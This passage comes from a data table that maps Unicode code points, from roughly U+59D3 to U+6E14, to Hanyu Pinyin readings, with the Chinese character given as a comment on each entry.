gū,gu # 姑 U+59D3: xìng # 姓 U+59D4: wěi # 委 U+59DC: jiāng # 姜 U+59E8: yí # 姨 U+59FB: yīn # 姻 U+59FF: zī # 姿 U+5A01: wēi # 威 U+5A03: wá,wa # 娃 U+5A07: jiāo # 娇 U+5A18: niang,niáng # 娘 U+5A1B: yú # 娛 U+5A31: yú # 娱 U+5A36: qǔ # 娶 U+5A46: pó,po # 婆 U+5A5A: hūn # 婚 U+5A66: fù,fu # 婦 U+5A74: yīng # 婴 U+5A76: shěn,shen # 婶 U+5AB3: xí # 媳 U+5ABD: mā,ma # 媽 U+5AC1: jià # 嫁 U+5AC2: sǎo,sao # 嫂 U+5ACC: xián # 嫌 U+5AE9: nèn # 嫩 U+5B0C: jiāo # 嬌 U+5B30: yīng # 嬰 U+5B38: shěn,shen # 嬸 U+5B50: zi,zǐ # 子 U+5B54: kǒng # 孔 U+5B57: zì,zi # 字 U+5B58: cún # 存 U+5B59: sūn # 孙 U+5B63: jì # 季 U+5B64: gū # 孤 U+5B66: xué # 学 U+5B69: hái # 孩 U+5B6B: sūn # 孫 U+5B75: fū # 孵 U+5B78: xué # 學 U+5B81: níng,nìng # 宁 U+5B83: tā # 它 U+5B85: zhái # 宅 U+5B87: yǔ # 宇 U+5B88: shǒu # 守 U+5B89: ān # 安 U+5B8C: wán # 完 U+5B8F: hóng # 宏 U+5B97: zōng,zong # 宗 U+5B98: guān # 官 U+5B99: zhòu # 宙 U+5B9A: dìng # 定 U+5B9C: yi,yí # 宜 U+5B9D: bǎo # 宝 U+5B9E: shí,shi # 实 U+5BA1: shěn # 审 U+5BA2: kè # 客 U+5BA3: xuān # 宣 U+5BA4: shì # 室 U+5BAA: xiàn # 宪 U+5BAB: gōng # 宫 U+5BAE: gōng # 宮 U+5BB0: zǎi # 宰 U+5BB3: hài,hai # 害 U+5BB4: yàn # 宴 U+5BB5: xiāo # 宵 U+5BB6: jiā,jia # 家 U+5BB9: róng # 容 U+5BBD: kuān # 宽 U+5BBE: bīn # 宾 U+5BBF: sù,xiǔ # 宿 U+5BC2: jì # 寂 U+5BC4: jì # 寄 U+5BC6: mì # 密 U+5BC7: kòu # 寇 U+5BCC: fù # 富 U+5BD2: hán # 寒 U+5BD3: yù # 寓 U+5BDE: mò # 寞 U+5BDF: chá # 察 U+5BE1: guǎ # 寡 U+5BE6: shí,shi # 實 U+5BE7: níng,nìng # 寧 U+5BE9: shěn # 審 U+5BEB: xiě # 寫 U+5BEC: kuān # 寬 U+5BF6: bǎo # 寶 U+5BF8: cùn,cun # 寸 U+5BF9: duì # 对 U+5BFB: xún,xín # 寻 U+5BFC: dǎo # 导 U+5BFF: shòu # 寿 U+5C01: fēng # 封 U+5C04: shè # 射 U+5C06: jiāng,jiàng # 将 U+5C07: jiāng,jiàng # 將 U+5C08: zhuān # 專 U+5C0A: zūn # 尊 U+5C0B: xún,xín # 尋 U+5C0D: duì # 對 U+5C0E: dǎo # 導 U+5C0F: xiǎo # 小 U+5C11: shǎo,shao,shào # 少 U+5C14: ěr # 尔 U+5C16: jiān # 尖 U+5C18: chén # 尘 U+5C1A: shàng,shang # 尚 U+5C1D: cháng # 尝 U+5C24: yóu # 尤 U+5C31: jiù # 就 U+5C38: shī # 尸 U+5C3A: chǐ # 尺 U+5C3D: jǐn,jìn # 尽 U+5C3E: wěi # 尾 U+5C3F: niào # 尿 U+5C40: jú # 局 U+5C41: pì # 屁 U+5C42: céng # 层 U+5C45: jū # 居 U+5C46: jiè # 屆 U+5C48: qū,qu # 屈 U+5C49: ti # 屉 U+5C4A: jiè # 届 U+5C4B: wū # 屋 U+5C4E: shǐ # 屎 U+5C4F: píng # 屏 U+5C51: xiè # 屑 U+5C55: zhǎn,zhan # 展 U+5C5C: ti # 屜 U+5C5E: shǔ # 属 U+5C60: tú # 屠 U+5C64: céng # 層 U+5C6C: shǔ # 屬 U+5C71: shān # 山 U+5C79: yì # 屹 U+5C7F: yǔ # 屿 U+5C81: suì # 岁 U+5C82: qǐ # 岂 U+5C96: qū # 岖 U+5C97: gǎng,gāng # 岗 U+5C9B: dǎo # 岛 U+5CA1: gāng # 岡 U+5CA9: yán # 岩 U+5CAD: lǐng # 岭 U+5CB8: àn # 岸 U+5CE1: xiá # 峡 U+5CE6: luán # 峦 U+5CE8: é # 峨 U+5CED: qiào # 峭 U+5CF0: fēng # 峰 U+5CF6: dǎo # 島 U+5CFB: jùn # 峻 U+5CFD: xiá # 峽 U+5D07: chóng # 崇 U+5D0E: qí # 崎 U+5D16: yá # 崖 U+5D17: gǎng,gāng # 崗 U+5D29: bēng # 崩 U+5D2D: zhǎn # 崭 U+5D3D: zǎi # 崽 U+5D4C: qiàn # 嵌 U+5D84: zhǎn # 嶄 U+5D87: qū # 嶇 U+5DBA: lǐng # 嶺 U+5DBC: yǔ # 嶼 U+5DCD: wēi # 巍 U+5DD2: luán # 巒 U+5DDE: zhōu # 州 U+5DE1: xún # 巡 U+5DE2: cháo # 巢 U+5DE5: gōng # 工 U+5DE6: zuǒ # 左 U+5DE7: qiǎo # 巧 U+5DE8: jù # 巨 U+5DE9: gǒng # 巩 U+5DEE: chà,chā,chāi # 差 U+5DF1: jǐ # 己 U+5DF2: yǐ # 已 U+5DF4: ba,bā # 巴 U+5DF7: xiàng # 巷 U+5DFE: jīn # 巾 U+5E01: bì # 币 U+5E02: shì # 市 U+5E03: bù # 布 U+5E05: shuài # 帅 U+5E06: fān # 帆 U+5E08: shī # 师 U+5E0C: xī # 希 U+5E10: zhàng # 帐 U+5E15: pà # 帕 U+5E18: lián # 帘 U+5E1A: zhou # 帚 U+5E1C: zhì # 帜 U+5E1D: dì # 帝 U+5E25: shuài # 帥 U+5E26: dài # 带 U+5E2B: shī # 師 U+5E2D: xí # 席 U+5E2E: bāng # 帮 U+5E33: zhàng # 帳 U+5E36: dài # 帶 U+5E38: cháng # 常 U+5E3D: mào # 帽 U+5E45: fú # 幅 U+5E55: mù # 幕 U+5E5F: zhì # 幟 U+5E63: bì # 幣 U+5E6B: bāng # 幫 U+5E72: gàn,gān # 干 U+5E73: píng # 平 U+5E74: nián # 年 U+5E76: bìng # 并 U+5E78: xìng # 幸 U+5E7B: huàn # 幻 U+5E7C: yòu # 幼 U+5E7E: jǐ # 幾 U+5E7F: guǎng # 广 U+5E84: zhuāng # 庄 U+5E86: qìng # 庆 U+5E8A: chuáng # 床 U+5E8F: xù # 序 U+5E93: kù # 库 U+5E94: yīng,yìng,ying # 应 U+5E95: dǐ # 底 U+5E97: diàn # 店 U+5E99: miào # 庙 U+5E9C: fǔ # 府 U+5E9E: páng # 庞 U+5E9F: fèi # 废 U+5EA6: dù,du # 度 U+5EA7: zuò # 座 U+5EAB: kù # 庫 U+5EAD: tíng # 庭 U+5EB7: kāng # 康 U+5EB8: yōng # 庸 U+5EC1: cè # 廁 U+5EC2: xiāng # 廂 U+5EC8: shà # 廈 U+5EC9: lián # 廉 U+5ED3: kuò # 廓 U+5EDA: chú # 廚 U+5EDF: miào # 廟 U+5EE0: chǎng # 廠 U+5EE2: fèi # 廢 U+5EE3: guǎng # 廣 U+5EF3: tīng # 廳 U+5EF6: yán # 延 U+5EFA: jiàn # 建 U+5EFF: niàn # 廿 U+5F00: kāi # 开 U+5F02: yì # 异 U+5F03: qì # 弃 U+5F04: nòng # 弄 U+5F0F: shì,shi # 式 U+5F13: gōng # 弓 U+5F15: yǐn # 引 U+5F1F: dì,di # 弟 U+5F20: zhāng # 张 U+5F25: mí # 弥 U+5F26: xián # 弦 U+5F2F: wān # 弯 U+5F31: ruò # 弱 U+5F35: zhāng # 張 U+5F37: qiáng,qiǎng # 強 U+5F39: dàn,tán,tan # 弹 U+5F3A: qiáng,qiǎng # 强 U+5F48: dàn,tán,tan # 彈 U+5F4C: mí # 彌 U+5F4E: wān # 彎 U+5F52: guī # 归 U+5F53: dāng,dàng,dang # 当 U+5F55: lù # 录 U+5F62: xíng,xing # 形 U+5F69: cǎi,cai # 彩 U+5F71: yǐng # 影 U+5F79: yì # 役 U+5F7B: chè # 彻 U+5F7C: bǐ # 彼 U+5F80: wǎng,wàng # 往 U+5F81: zhēng # 征 U+5F84: jìng # 径 U+5F85: dài # 待 U+5F88: hěn # 很 U+5F8A: huái # 徊 U+5F8B: lǜ # 律 U+5F90: xú # 徐 U+5F91: jìng # 徑 U+5F92: tú # 徒 U+5F97: de,dé,děi # 得 U+5F98: pái # 徘 U+5F9E: cóng,cōng # 從 U+5FA1: yù # 御 U+5FAA: xún # 循 U+5FAE: wēi # 微 U+5FB7: dé # 德 U+5FB9: chè # 徹 U+5FC3: xīn,xin # 心 U+5FC5: bì # 必 U+5FC6: yì # 忆 U+5FCD: rěn # 忍 U+5FD7: zhì # 志 U+5FD8: wàng # 忘 U+5FD9: máng # 忙 U+5FE0: zhōng # 忠 U+5FE7: yōu # 忧 U+5FEB: kuài,kuai # 快 U+5FF1: chén # 忱 U+5FF5: niàn # 念 U+5FFD: hū # 忽 U+5FFF: fèn # 忿 U+6000: huái # 怀 U+6001: tài # 态 U+600E: zěn # 怎 U+6012: nù # 怒 U+6014: zhēng # 怔 U+6015: pà # 怕 U+6016: bù # 怖 U+601C: lián # 怜 U+601D: sī,si # 思 U+6025: jí # 急 U+6026: pēng # 怦 U+6027: xìng,xing # 性 U+6028: yuàn,yuan # 怨 U+602A: guài # 怪 U+602F: qiè # 怯 U+603B: zǒng # 总 U+6046: héng # 恆 U+604B: liàn # 恋 U+604D: huǎng # 恍 U+6050: kǒng # 恐 U+6052: héng # 恒 U+6062: huī # 恢 U+6065: chǐ # 恥 U+6068: hèn # 恨 U+606F: xi,xī # 息 U+6070: qià # 恰 U+6073: kěn # 恳 U+6076: è,wù # 恶 U+607C: nǎo # 恼 U+6084: qiāo # 悄 U+6085: yuè # 悅 U+6089: xī # 悉 U+6094: huǐ # 悔 U+609F: wù # 悟 U+60A0: yōu # 悠 U+60A3: huàn # 患 U+60A6: yuè # 悦 U+60A8: nín # 您 U+60AC: xuán # 悬 U+60B2: bēi # 悲 U+60B6: mèn,mēn # 悶 U+60BC: dào # 悼 U+60C5: qíng,qing # 情 U+60CA: jīng # 惊 U+60CB: wǎn # 惋 U+60D1: huò,huo # 惑 U+60D5: tì # 惕 U+60DA: hū # 惚 U+60DC: xī # 惜 U+60DF: wéi # 惟 U+60E1: è,wù # 惡 U+60E6: diàn # 惦 U+60E7: jù # 惧 U+60E8: cǎn # 惨 U+60E9: chéng # 惩 U+60ED: cán # 惭 U+60EF: guàn # 惯 U+60F1: nǎo # 惱 U+60F3: xiǎng # 想 U+60F6: huáng # 惶 U+60F9: rě # 惹 U+6101: chóu # 愁 U+6108: yù # 愈 U+6109: yú # 愉 U+610F: yì,yi # 意 U+6115: è # 愕 U+611A: yú # 愚 U+611B: ài # 愛 U+611F: gǎn # 感 U+6123: lèng # 愣 U+6124: fèn # 愤 U+6127: kuì # 愧 U+613F: yuàn # 愿 U+6148: cí # 慈 U+614B: tài # 態 U+614C: huāng,huang # 慌 U+614E: shèn # 慎 U+6155: mù # 慕 U+6158: cǎn # 慘 U+615A: cán # 慚 U+6162: màn # 慢 U+6163: guàn # 慣 U+6167: huì # 慧 U+6168: kǎi # 慨 U+616E: lǜ # 慮 U+6170: wèi # 慰 U+6176: qìng # 慶 U+6177: kāng # 慷 U+6182: yōu # 憂 U+618B: biē # 憋 U+6190: lián # 憐 U+6191: píng # 憑 U+61A4: fèn # 憤 U+61A7: chōng # 憧 U+61AC: jǐng # 憬 U+61B2: xiàn # 憲 U+61B6: yì # 憶 U+61BE: hàn # 憾 U+61C2: dǒng # 懂 U+61C7: kěn # 懇 U+61C9: yīng,yìng,ying # 應 U+61D2: lǎn # 懒 U+61F2: chéng # 懲 U+61F6: lǎn # 懶 U+61F7: huái # 懷 U+61F8: xuán # 懸 U+61FC: jù # 懼 U+6200: liàn # 戀 U+620F: xì # 戏 U+6210: chéng,cheng # 成 U+6211: wǒ # 我 U+6212: jiè # 戒 U+6216: huò # 或 U+6218: zhàn # 战 U+621A: qi # 戚 U+622A: jié # 截 U+6230: zhàn # 戰 U+6232: xì # 戲 U+6234: dài # 戴 U+6236: hù,hu # 戶 U+6237: hù,hu # 户 U+623F: fáng # 房 U+6240: suǒ # 所 U+6241: biǎn # 扁 U+6247: shàn,shān # 扇 U+624B: shǒu,shou # 手 U+624D: cái,cai # 才 U+624E: zhā,zhá # 扎 U+6251: pū # 扑 U+6252: bā # 扒 U+6253: dǎ,da # 打 U+6254: rēng # 扔 U+6258: tuō # 托 U+625B: káng # 扛 U+6263: kòu # 扣 U+6267: zhí # 执 U+6269: kuò # 扩 U+626B: sǎo,sào # 扫 U+626C: yáng # 扬 U+626D: niǔ,niu # 扭 U+626E: ban,bàn # 扮 U+626F: chě,che # 扯 U+6270: rǎo # 扰 U+6273: bān # 扳 U+6276: fú # 扶 U+6279: pī # 批 U+627E: zhǎo # 找 U+627F: chéng # 承 U+6280: jì # 技 U+6284: chāo # 抄 U+628A: bǎ # 把 U+6291: yì # 抑 U+6293: zhuā # 抓 U+6295: tóu # 投 U+6296: dǒu # 抖 U+6297: kàng # 抗 U+6298: zhé,zhē,shé # 折 U+629A: fǔ # 抚 U+629B: pāo # 抛 U+62A1: lūn # 抡 U+62A2: qiǎng # 抢 U+62A4: hù # 护 U+62A5: bào # 报 U+62AB: pī # 披 U+62AC: tái # 抬 U+62B1: bào # 抱 U+62B5: dǐ # 抵 U+62B9: mǒ,mā # 抹 U+62BC: yā # 押 U+62BD: chōu # 抽 U+62BF: mǐn # 抿 U+62C4: zhǔ # 拄 U+62C5: dān,dàn,dan # 担 U+62C6: chāi # 拆 U+62C7: mu # 拇 U+62C9: lā,la # 拉 U+62CB: pāo # 拋 U+62CC: bàn # 拌 U+62CD: pāi # 拍 U+62D0: guǎi # 拐 U+62D2: jù # 拒 U+62D4: bá,ba # 拔 U+62D6: tuō # 拖 U+62D8: jū # 拘 U+62DB: zhāo # 招 U+62DC: bài # 拜 U+62DF: nǐ # 拟 U+62E2: lǒng # 拢 U+62E3: jiǎn # 拣 U+62E5: yōng # 拥 U+62E6: lán # 拦 U+62E7: níng # 拧 U+62E8: bō # 拨 U+62E9: zé # 择 U+62EC: kuò # 括 U+62ED: shì # 拭 U+62F1: gǒng # 拱 U+62F3: quán # 拳 U+62F4: shuān # 拴 U+62FC: pīn # 拼 U+62FE: shi,shí # 拾 U+62FF: ná # 拿 U+6301: chí # 持 U+6302: guà # 挂 U+6307: zhǐ,zhí,zhī # 指 U+6309: àn # 按 U+630E: kuà # 挎 U+6311: tiāo,tiǎo # 挑 U+6316: wā # 挖 U+631F: xié # 挟 U+6321: dǎng # 挡 U+6323: zhēng,zhèng # 挣 U+6324: jǐ # 挤 U+6325: huī # 挥 U+6328: āi # 挨 U+632B: cuò # 挫 U+632F: zhèn # 振 U+633A: tǐng # 挺 U+633D: wǎn # 挽 U+633E: xié # 挾 U+6342: wǔ # 捂 U+6346: kǔn # 捆 U+6349: zhuō # 捉 U+634D: hàn # 捍 U+634E: shāo # 捎 U+634F: niē # 捏 U+6350: juān # 捐 U+6355: bǔ # 捕 U+635E: lāo # 捞 U+635F: sǔn # 损 U+6361: jiǎn # 捡 U+6362: huàn # 换 U+6363: dǎo # 捣 U+6367: pěng # 捧 U+636E: jù # 据 U+6376: chuí # 捶 U+6377: jié # 捷 U+637B: niǎn # 捻 U+6380: xiān # 掀 U+6383: sǎo,sào # 掃 U+6384: lūn # 掄 U+6388: shòu # 授 U+6389: diào # 掉 U+638C: zhǎng,zhang # 掌 U+638F: tāo # 掏 U+6390: qiā # 掐 U+6392: pái # 排 U+6398: jué # 掘 U+6399: zhēng,zhèng # 掙 U+639B: guà # 掛 U+63A0: lüè # 掠 U+63A2: tàn,tan # 探 U+63A5: jiē # 接 U+63A7: kòng # 控 U+63A8: tuī # 推 U+63A9: yǎn # 掩 U+63AA: cuò # 措 U+63B0: bāi # 掰 U+63B7: zhì # 掷 U+63C0: jiǎn # 揀 U+63C9: róu # 揉 U+63CD: zòu # 揍 U+63CF: miáo # 描 U+63D0: tí # 提 U+63D2: chā # 插 U+63DA: yáng # 揚 U+63DB: huàn # 換 U+63E1: wò # 握 U+63E3: chuāi # 揣 U+63E9: kāi # 揩 U+63EA: jiū # 揪 U+63ED: jiē # 揭 U+63EE: huī # 揮 U+63F4: yuán # 援 U+6400: chān # 搀 U+6401: gē,ge # 搁 U+6402: lǒu # 搂 U+6405: jiǎo # 搅 U+640D: sǔn # 損 U+640F: bó # 搏 U+6413: cuō # 搓 U+6414: sāo # 搔 U+6416: yáo # 搖 U+6417: dǎo # 搗 U+641C: sōu # 搜 U+641E: gǎo # 搞 U+642A: táng # 搪 U+642C: bān # 搬 U+642D: dā # 搭 U+6436: qiǎng # 搶 U+643A: xié # 携 U+6444: shè # 摄 U+6446: bǎi # 摆 U+6447: yáo # 摇 U+644A: tān # 摊 U+6454: shuāi # 摔 U+6458: zhāi # 摘 U+645F: lǒu # 摟 U+6467: cuī # 摧 U+6469: mó # 摩 U+6478: mō,mo # 摸 U+6482: liào # 撂 U+6485: juē # 撅 U+6488: lāo # 撈 U+6490: chēng,cheng # 撐 U+6491: chēng,cheng # 撑 U+6492: sā,sǎ # 撒 U+6495: sī # 撕 U+649E: zhuàng # 撞 U+64A4: chè # 撤 U+64A5: bō # 撥 U+64A9: liāo # 撩 U+64AB: fǔ # 撫 U+64AD: bō # 播 U+64B2: pū # 撲 U+64B5: niǎn # 撵 U+64BC: hàn # 撼 U+64BF: jiǎn # 撿 U+64C1: yōng # 擁 U+64C7: zé # 擇 U+64CA: jī # 擊 U+64CB: dǎng # 擋 U+64CD: cāo # 操 U+64D4: dān,dàn,dan # 擔 U+64DA: jù # 據 U+64E0: jǐ # 擠 U+64E6: cā # 擦 U+64EC: nǐ # 擬 U+64F0: níng # 擰 U+64F1: gē,ge # 擱 U+64F2: zhì # 擲 U+64F4: kuò # 擴 U+64FA: bǎi # 擺 U+64FE: rǎo # 擾 U+6500: pān # 攀 U+6506: niǎn # 攆 U+650F: lǒng # 攏 U+6512: zǎn # 攒 U+6514: lán # 攔 U+6519: chān # 攙 U+651C: xié # 攜 U+651D: shè # 攝 U+6522: zǎn # 攢 U+6524: tān # 攤 U+6525: zuàn # 攥 U+652A: jiǎo # 攪 U+652F: zhī # 支 U+6536: shōu # 收 U+6539: gǎi # 改 U+653B: gōng # 攻 U+653E: fàng # 放 U+653F: zhèng # 政 U+6545: gù # 故 U+6548: xiào # 效 U+654C: dí # 敌 U+654F: mǐn # 敏 U+6551: jiù # 救 U+6557: bài # 敗 U+6558: xù # 敘 U+6559: jiào,jiāo # 教 U+655E: chang # 敞 U+6562: gǎn # 敢 U+6563: sàn,sǎn # 散 U+656C: jìng # 敬 U+6570: shù,shǔ,shu # 数 U+6572: qiāo # 敲 U+6574: zhěng # 整 U+6575: dí # 敵 U+6577: fū # 敷 U+6578: shù,shǔ,shu # 數 U+6583: bì # 斃 U+6587: wén # 文 U+6597: dòu # 斗 U+6599: liào # 料 U+659C: xié # 斜 U+65A4: jīn # 斤 U+65A5: chì # 斥 U+65A7: fǔ # 斧 U+65AD: duàn # 断 U+65AF: sī # 斯 U+65B0: xīn # 新 U+65B7: duàn # 斷 U+65B9: fāng,fang # 方 U+65BD: shī # 施 U+65C1: páng # 旁 U+65C5: lǚ # 旅 U+65CB: xuán # 旋 U+65CF: zú # 族 U+65D7: qí # 旗 U+65E0: wú # 无 U+65E2: jì # 既 U+65E5: rì # 日 U+65E6: dàn # 旦 U+65E7: jiù # 旧 U+65E9: zǎo # 早 U+65EC: xún # 旬 U+65F1: hàn # 旱 U+65F6: shí # 时 U+65F7: kuàng # 旷 U+65FA: wàng # 旺 U+6602: áng # 昂 U+6606: kūn # 昆 U+660E: míng,ming # 明 U+660F: hūn,hún # 昏 U+6613: yì # 易 U+661F: xīng # 星 U+6620: yìng # 映 U+6625: chūn # 春 U+6627: mèi # 昧 U+6628: zuó # 昨 U+662F: shì,shi # 是 U+663C: zhòu # 昼 U+663E: xiǎn # 显 U+6642: shí # 時 U+6643: huang,huàng,huǎng # 晃 U+664C: shǎng # 晌 U+6652: shài # 晒 U+6653: xiǎo # 晓 U+6655: yūn # 晕 U+665A: wǎn # 晚 U+665D: zhòu # 晝 U+6668: chen,chén # 晨 U+666E: pǔ # 普 U+666F: jǐng # 景 U+6670: xī # 晰 U+6674: qíng # 晴 U+6676: jīng # 晶 U+667A: zhì # 智 U+667E: liàng # 晾 U+6682: zàn # 暂 U+6684: xuān # 暄 U+6688: yūn # 暈 U+6691: shǔ # 暑 U+6696: nuǎn # 暖 U+6697: àn # 暗 U+66A2: chàng # 暢 U+66AB: zàn # 暫 U+66B4: bào # 暴 U+66C9: xiǎo # 曉 U+66E0: kuàng # 曠 U+66F0: yuē # 曰 U+66F2: qū,qǔ # 曲 U+66F4: gèng,gēng # 更 U+66F8: shū # 書 U+66FE: céng # 曾 U+66FF: tì # 替 U+6700: zuì # 最 U+6703: huì,kuài # 會 U+6708: yuè,yue # 月 U+6709: yǒu # 有 U+670B: péng # 朋 U+670D: fú,fu # 服 U+6717: lǎng # 朗 U+671B: wàng,wang # 望 U+671D: cháo,zhāo # 朝 U+671F: qī # 期 U+6726: méng # 朦 U+6727: lóng # 朧 U+6728: mù # 木 U+672A: wèi # 未 U+672B: mò # 末 U+672C: běn # 本 U+672E: shù # 朮 U+672F: shù # 术 U+6734: pǔ # 朴 U+6735: duo,duǒ # 朵 U+673A: jī # 机 U+673D: xiǔ # 朽 U+6740: shā # 杀 U+6742: zá # 杂 U+6743: quán # 权 U+6746: gān,gǎn # 杆 U+6749: shān # 杉 U+674E: li # 李 U+6750: cái,cai # 材 U+6751: cūn # 村 U+675C: dù # 杜 U+675F: shù # 束 U+6761: tiáo # 条 U+6765: lái # 来 U+6768: yáng # 杨 U+676F: bēi # 杯 U+6770: jié # 杰 U+6771: dōng # 東 U+677E: sōng # 松 U+677F: bǎn # 板 U+6781: jí # 极 U+6784: gòu # 构 U+6789: wang # 枉 U+6790: xī # 析 U+6795: zhěn # 枕 U+6797: lín # 林 U+679A: méi # 枚 U+679C: guǒ # 果 U+679D: zhī # 枝 U+67A2: shū # 枢 U+67A3: zǎo # 枣 U+67AA: qiāng # 枪 U+67AF: kū # 枯 U+67B6: jià # 架 U+67C4: bǐng # 柄 U+67CF: bǎi # 柏 U+67D0: mǒu # 某 U+67D3: rǎn # 染 U+67D4: róu # 柔 U+67DC: guì # 柜 U+67E5: chá # 查 U+67F1: zhù # 柱 U+67F3: liǔ # 柳 U+67F4: chái # 柴 U+6807: biāo # 标 U+680F: lán # 栏 U+6811: shù # 树 U+6821: xiào # 校 U+682A: zhū # 株 U+6837: yàng # 样 U+6838: hé # 核 U+6839: gēn # 根 U+683C: gé,ge # 格 U+683D: zāi # 栽 U+6843: táo # 桃 U+6845: wéi # 桅 U+6846: kuāng,kuàng # 框 U+6848: àn # 案 U+684C: zhuō # 桌 U+6851: sāng # 桑 U+6854: jú # 桔 U+6863: dàng # 档 U+6865: qiáo # 桥 U+6866: huà # 桦 U+6868: jiǎng # 桨 U+6869: zhuāng # 桩 U+6876: tǒng # 桶 U+6881: liáng,liang # 梁 U+6885: méi # 梅 U+6886: bāng # 梆 U+6897: gěng # 梗 U+689D: tiáo # 條 U+68A2: shāo # 梢 U+68A6: mèng # 梦 U+68A8: lí # 梨 U+68AF: tī # 梯 U+68B0: xiè # 械 U+68B3: shū # 梳 U+68C0: jiǎn # 检 U+68C4: qì # 棄 U+68C9: mián # 棉 U+68CB: qí # 棋 U+68CD: gùn # 棍 U+68D2: bàng # 棒 U+68D7: zǎo # 棗 U+68DA: péng,peng # 棚 U+68EE: sēn # 森 U+68F5: kē # 棵 U+68FA: guān # 棺 U+6905: yǐ # 椅 U+690D: zhí # 植 U+6912: jiāo # 椒 U+692D: tuǒ # 椭 U+694A: yáng # 楊 U+695A: chu # 楚 U+696D: yè # 業 U+6975: jí # 極 U+697C: lóu # 楼 U+6982: gài # 概 U+6995: róng # 榕 U+699C: bǎng # 榜 U+69AE: róng # 榮 U+69B4: liú # 榴 U+69CB: gòu # 構 U+69CD: qiāng # 槍 U+69D0: huái # 槐 U+69DB: kǎn # 槛 U+69F3: jiǎng # 槳 U+69FD: cáo # 槽 U+6A01: zhuāng # 樁 U+6A02: lè,yuè # 樂 U+6A13: lóu # 樓 U+6A19: biāo # 標 U+6A1E: shū # 樞 U+6A1F: zhāng # 樟 U+6A21: mó,mú # 模 U+6A23: yàng # 樣 U+6A2A: héng # 横 U+6A39: shù # 樹 U+6A3A: huà # 樺 U+6A4B: qiáo # 橋 U+6A58: jú # 橘 U+6A5F: jī # 機 U+6A61: xiàng # 橡 U+6A62: tuǒ # 橢 U+6A6B: héng # 橫 U+6A90: yán # 檐 U+6A94: dàng # 檔 U+6AA2: jiǎn # 檢 U+6ABB: kǎn # 檻 U+6B04: lán # 欄 U+6B0A: quán # 權 U+6B20: qiàn,qian # 欠 U+6B21: cì # 次 U+6B22: huan,huān # 欢 U+6B23: xīn # 欣 U+6B27: ōu # 欧 U+6B32: yù # 欲 U+6B3A: qī # 欺 U+6B3D: qīn # 欽 U+6B3E: kuǎn # 款 U+6B47: xiē # 歇 U+6B49: qiàn # 歉 U+6B4C: gē,ge # 歌 U+6B50: ōu # 歐 U+6B61: huan,huān # 歡 U+6B62: zhǐ # 止 U+6B63: zhèng,zheng,zhēng # 正 U+6B64: cǐ # 此 U+6B65: bù # 步 U+6B66: wǔ # 武 U+6B6A: wāi # 歪 U+6B72: suì # 歲 U+6B77: lì # 歷 U+6B78: guī # 歸 U+6B7B: sǐ # 死 U+6B7C: jiān # 歼 U+6B8A: shū # 殊 U+6B8B: cán # 残 U+6B96: zhí # 殖 U+6B98: cán # 殘 U+6BB2: jiān # 殲 U+6BB5: duàn # 段 U+6BBA: shā # 殺 U+6BBC: ké,qiào # 殼 U+6BBF: diàn # 殿 U+6BC0: huǐ # 毀 U+6BC1: huǐ # 毁 U+6BC5: yì # 毅 U+6BCD: mǔ # 母 U+6BCF: měi # 每 U+6BD2: dú # 毒 U+6BD4: bǐ # 比 U+6BD5: bì # 毕 U+6BD9: bì # 毙 U+6BDB: máo,mao # 毛 U+6BE1: zhān # 毡 U+6BEB: háo # 毫 U+6BEF: tǎn # 毯 U+6C08: zhān # 氈 U+6C0F: shì # 氏 U+6C11: mín # 民 U+6C13: máng # 氓 U+6C14: qì,qi # 气 U+6C1B: fēn # 氛 U+6C22: qīng # 氢 U+6C23: qì,qi # 氣 U+6C27: yǎng # 氧 U+6C28: ān # 氨 U+6C2B: qīng # 氫 U+6C2E: dàn # 氮 U+6C34: shuǐ # 水 U+6C38: yǒng # 永 U+6C41: zhī # 汁 U+6C42: qiú # 求 U+6C47: huì # 汇 U+6C49: hàn # 汉 U+6C57: hàn # 汗 U+6C5B: xùn # 汛 U+6C5E: gǒng # 汞 U+6C5F: jiāng # 江 U+6C60: chí # 池 U+6C61: wū # 污 U+6C64: tāng,tang # 汤 U+6C6A: wāng # 汪 U+6C70: tài # 汰 U+6C79: xiōng # 汹 U+6C7A: jué # 決 U+6C7D: qì # 汽 U+6C83: wò # 沃 U+6C89: chén,chēn # 沉 U+6C8F: qī # 沏 U+6C92: méi,mò # 沒 U+6C96: chōng,chòng # 沖 U+6C99: shā # 沙 U+6C9B: pèi # 沛 U+6C9F: gōu # 沟 U+6CA1: méi,mò # 没 U+6CA5: lì # 沥 U+6CAB: mò,mo # 沫 U+6CB3: hé # 河 U+6CB8: fèi # 沸 U+6CB9: yóu # 油 U+6CBB: zhì # 治 U+6CBE: zhān # 沾 U+6CBF: yán,yàn # 沿 U+6CC1: kuàng # 況 U+6CC4: xiè # 泄 U+6CC9: quán # 泉 U+6CCA: pō,bó # 泊 U+6CCC: mì # 泌 U+6CD5: fǎ,fa # 法 U+6CDB: fàn # 泛 U+6CE1: pào # 泡 U+6CE2: bō # 波 U+6CE3: qì # 泣 U+6CE5: ní # 泥 U+6CE8: zhù # 注 U+6CEA: lèi # 泪 U+6CF3: yǒng # 泳 U+6CF5: bèng # 泵 U+6CFC: po,pō # 泼 U+6D01: jié # 洁 U+6D0B: yáng # 洋 U+6D12: sǎ # 洒 U+6D17: xǐ # 洗 U+6D1E: dòng # 洞 U+6D25: jīn # 津 U+6D2A: hóng # 洪 U+6D32: zhōu # 洲 U+6D36: xiōng # 洶 U+6D3B: huó,huo # 活 U+6D3E: pài # 派 U+6D41: liú # 流 U+6D45: qiǎn # 浅 U+6D46: jiāng # 浆 U+6D47: jiāo # 浇 U+6D4A: zhuó # 浊 U+6D4B: cè # 测 U+6D4E: jì # 济 U+6D51: hún # 浑 U+6D53: nóng # 浓 U+6D69: hào # 浩 U+6D6A: làng # 浪 U+6D6E: fú # 浮 U+6D77: hǎi # 海 U+6D78: jìn # 浸 U+6D82: tu,tú # 涂 U+6D88: xiāo # 消 U+6D89: shè # 涉 U+6D8C: yǒng # 涌 U+6D95: tì # 涕 U+6D9B: tāo # 涛 U+6DA1: wō # 涡 U+6DA4: dí # 涤 U+6DA6: rùn # 润 U+6DA8: zhǎng,zhàng # 涨 U+6DB2: yè # 液 U+6DBC: liáng # 涼 U+6DC0: diàn # 淀 U+6DCB: lín # 淋 U+6DCC: tǎng # 淌 U+6DD2: qī # 淒 U+6DD8: táo # 淘 U+6DDA: lèi # 淚 U+6DE1: dàn # 淡 U+6DE8: jìng # 淨 U+6DF1: shēn # 深 U+6DF3: chún # 淳 U+6DF7: hùn,hún # 混 U+6DF9: yān # 淹 U+6DFA: qiǎn # 淺 U+6DFB: tiān # 添 U+6E05: qīng # 清 U+6E10: jiàn # 渐 U+6E14: 